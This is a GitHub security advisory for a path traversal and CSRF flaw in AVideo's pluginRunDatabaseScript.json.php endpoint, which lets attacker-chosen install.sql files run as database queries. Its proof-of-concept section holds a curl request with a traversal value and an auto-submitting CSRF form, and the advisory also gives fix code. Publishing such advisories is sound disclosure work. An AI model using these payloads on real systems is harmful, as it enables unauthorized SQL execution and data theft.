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AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name

High severity GitHub Reviewed Published Mar 23, 2026 in WWBN/AVideo • Updated Mar 25, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.

Details

The vulnerable data flow:

1. Entry pointobjects/pluginRunDatabaseScript.json.php:21:

$fileName = Plugin::getDatabaseFileName($_POST['name']);

2. "Sanitization"objects/plugin.php:343-354:

public static function getDatabaseFileName($pluginName)
{
    global $global;
    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op
    $dir = $global['systemRootPath'] . "plugin";
    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
    if (!file_exists($filename)) {
        return false;
    }
    return $filename;
}

3. The "fix"plugin/AVideoPlugin.php:3184-3190:

public static function fixName($name)
{
    if ($name === 'Programs') {
        return 'PlayLists';
    }
    return $name;  // Returns input unchanged for all other values
}

4. SQL executionobjects/pluginRunDatabaseScript.json.php:24-36:

$lines = file($fileName);
foreach ($lines as $line) {
    // ...
    if (!$global['mysqli']->query($templine)) {
        $obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error
    }
}

The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.

Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.

PoC

Step 1: Direct exploitation (as admin)

# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
  -d "name=../plugin/LiveLinks" \
  "https://target.com/objects/pluginRunDatabaseScript.json.php"

This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.

Step 2: CSRF exploitation (no direct admin access needed)

Host the following HTML on an attacker-controlled page and trick an admin into visiting it:

<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
  <input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 3: Information disclosure via error messages

If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:

{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}

Impact

  • SQL injection via file inclusion: An attacker can execute arbitrary SQL from any install/install.sql file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.
  • Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
  • CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
  • Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious install.sql file and then execute it via this endpoint.

Recommended Fix

Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:

// In objects/pluginRunDatabaseScript.json.php, after line 14:

// Add CSRF protection
if (!isGlobalTokenValid()) {
    die('{"error":"' . __("Invalid token") . '"}');
}

// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);

Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:

public static function fixName($name)
{
    if ($name === 'Programs') {
        $name = 'PlayLists';
    }
    return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 23, 2026
Published by the National Vulnerability Database Mar 23, 2026
Published to the GitHub Advisory Database Mar 25, 2026
Reviewed Mar 25, 2026
Last updated Mar 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(17th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-33681

GHSA ID

GHSA-3hwv-x8g3-9qpr

Source code

Credits

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